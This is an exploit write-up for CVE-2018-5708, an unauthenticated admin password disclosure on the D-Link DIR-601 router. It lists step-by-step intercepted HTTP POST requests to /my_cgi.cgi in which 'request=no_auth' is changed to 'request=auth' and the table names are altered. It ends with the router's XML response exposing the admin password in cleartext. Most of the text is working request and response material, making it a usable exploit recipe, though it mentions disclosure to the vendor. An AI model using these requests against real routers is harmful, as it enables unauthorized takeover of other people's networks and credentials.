# Exploit Title: DLink DIR-601 Unauthenticated Admin password disclosure # Google Dork: N/A # Date: 12/24/2017 # Exploit Author: Kevin Randall # Vendor Homepage: https://www.dlink.com # Software Link: N/A # Version: Firmware: 2.02NA Hardware Version B1 # Tested on: Windows 10 + Mozilla Firefox # CVE : CVE-2018-5708 *Been in contact with William Brown CISO of Dlink and disclosed to the vendor* 1. Description Having local access to the network but being unauthenticated to the administrator panel, a user can disclose the built in Admin username/password to access the admin panel 2. Proof of Concept (For proof of concept, the real Admin password is "thisisatest" Step 1: Access default gateway/router login page Step 2: Login with Username Admin and put any random password: (This example the password is test) POST /my_cgi.cgi?0.06201226210472943 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/login_real.htm Content-Type: application/x-www-form-urlencoded Content-Length: 74 DNT: 1 Connection: close request=login&admin_user_name=YWRtaW4A&admin_user_pwd=dGVzdA==&user_type=0 Step 3: Clear Password that was set: POST /my_cgi.cgi?0.06201226210472943 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/login_real.htm Content-Type: application/x-www-form-urlencoded Content-Length: 74 DNT: 1 Connection: close request=login&admin_user_name=YWRtaW4A&admin_user_pwd=&user_type=0 Step 4: The following POST request will come back or a variant: POST /my_cgi.cgi?0.322727424911867 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/back.htm Content-Type: application/x-www-form-urlencoded Content-Length: 73 DNT: 1 Connection: close request=no_auth&request=load_settings&table_name=fw_ver&table_name=hw_ver Change the request=no_auth to "request=auth" POST /my_cgi.cgi?0.322727424911867 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/back.htm Content-Type: application/x-www-form-urlencoded Content-Length: 73 DNT: 1 Connection: close request=auth&request=load_settings&table_name=fw_ver&table_name=hw_ver Step 5: Forward the request: Step 6: Forward the following request: POST /my_cgi.cgi?0.8141419425197141 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/back.htm Content-Type: application/x-www-form-urlencoded Content-Length: 20 DNT: 1 Connection: close request=show_message Step 7: You will then be presented with the following: "Invalid user name or password, please try again" Step 8: Click Continue Step 9: You will see a POST request come back similar to the following: POST /my_cgi.cgi?0.12979015154204587 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/login.htm Content-Type: application/x-www-form-urlencoded Content-Length: 68 DNT: 1 Connection: close request=no_auth&request=load_settings&table_name=get_restore_default Step 10: Change the parameters "request=no_auth" to "request=auth" and "table_name=get_restore_default" to "table_name=restore_default" POST /my_cgi.cgi?0.12979015154204587 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/login.htm Content-Type: application/x-www-form-urlencoded Content-Length: 68 DNT: 1 Connection: close request=auth&request=load_settings&table_name=restore_default Step 11: Forward the request: Step 12: You will see the following POST request come back or a variant of it: POST /my_cgi.cgi?0.5566044428265032 HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: http://192.168.0.1/wizard_default.htm Content-Type: application/x-www-form-urlencoded Content-Length: 278 DNT: 1 Connection: close request=no_auth&request=load_settings&table_name=get_restore_default&table_name=wan_settings&table_name=wan_static&table_name=wan_pppoe&table_name=wan_pptp&table_name=wan_l2tp&table_name=wireless_settings&table_name=admin_user&table_name=time&table_name=fw_ver&table_name=hw_ver Step 13: In BurpSuite, right click on the POST request and choose: "Do Intercept" "Response from this request": Step 14: In XML cleartext, configuration information is obtained including the Admin username and password "thisisatest" HTTP/1.1 200 OK Content-type: text/xml Connection: close Date: Sat, 06 Jan 2018 13:33:26 GMT Server: lighttpd/1.4.28 Content-Length: 2414 <?xml version="1.0" encoding="UTF-8"?><root><restore_default>0</restore_default><wan_settings><wan_type>0</wan_type><wan_mac>44:8a:5b:8d:ba:13</wan_mac><primary_dns></primary_dns><secondary_dns></secondary_dns><enable_advanced_dns>1</enable_advanced_dns></wan_settings><wan_static><static_ip_addr>0.0.0.0</static_ip_addr><static_subnet_mask>0.0.0.0</static_subnet_mask><static_gateway>0.0.0.0</static_gateway><static_mtu>1500</static_mtu></wan_static><wan_pppoe><pppoe_conn_type>0</pppoe_conn_type><pppoe_user_name></pppoe_user_name><pppoe_user_pwd></pppoe_user_pwd><pppoe_service_name></pppoe_service_name><pppoe_ip_addr>0.0.0.0</pppoe_ip_addr><pppoe_conn_mode>on_demand</pppoe_conn_mode><pppoe_max_idle_time>300</pppoe_max_idle_time><pppoe_mtu>1492</pppoe_mtu></wan_pppoe><wan_pptp><pptp_conn_type>0</pptp_conn_type><pptp_ip_addr>0.0.0.0</pptp_ip_addr><pptp_subnet_mask>0.0.0.0</pptp_subnet_mask><pptp_gateway>0.0.0.0</pptp_gateway><pptp_server_ip></pptp_server_ip><pptp_user_name></pptp_user_name><pptp_user_pwd></pptp_user_pwd><pptp_conn_mode>on_demand</pptp_conn_mode><pptp_max_idle_time>300</pptp_max_idle_time><pptp_mtu>1400</pptp_mtu></wan_pptp><wan_l2tp><l2tp_conn_type>0</l2tp_conn_type><l2tp_ip_addr>0.0.0.0</l2tp_ip_addr><l2tp_subnet_mask>0.0.0.0</l2tp_subnet_mask><l2tp_gateway>0.0.0.0</l2tp_gateway><l2tp_server_ip></l2tp_server_ip><l2tp_user_name></l2tp_user_name><l2tp_user_pwd></l2tp_user_pwd><l2tp_conn_mode>on_demand</l2tp_conn_mode><l2tp_max_idle_time>300</l2tp_max_idle_time><l2tp_mtu>1400</l2tp_mtu></wan_l2tp><wireless_settings><enable_wireless>1</enable_wireless><wireless_schedule>Always</wireless_schedule><ssid>HomeAP</ssid><channel>3</channel><auto_channel>0</auto_channel><dot11_mode>11gn</dot11_mode><channel_width>0</channel_width><ssid_broadcast>1</ssid_broadcast></wireless_settings><admin_user><admin_user_name>admin</admin_user_name><admin_user_pwd>thisisatest</admin_user_pwd><admin_level>1</admin_level></admin_user><time><zone_index>12</zone_index><time_zone>-80</time_zone><ntp_enable>1</ntp_enable><ntp_server>time.nist.gov</ntp_server><manual_year>2011</manual_year><manual_month>1</manual_month><manual_day>1</manual_day><manual_hour>0</manual_hour><manual_min>0</manual_min><manual_sec>0</manual_sec></time><fw_ver>2.02NA</fw_ver><build_ver>01</build_ver><fw_date>Tue, 11 Nov 2014</fw_date><fw_region>NA</fw_region><hw_ver>B1</hw_ver></root> 3. Solution: N/A. Unknown as of the moment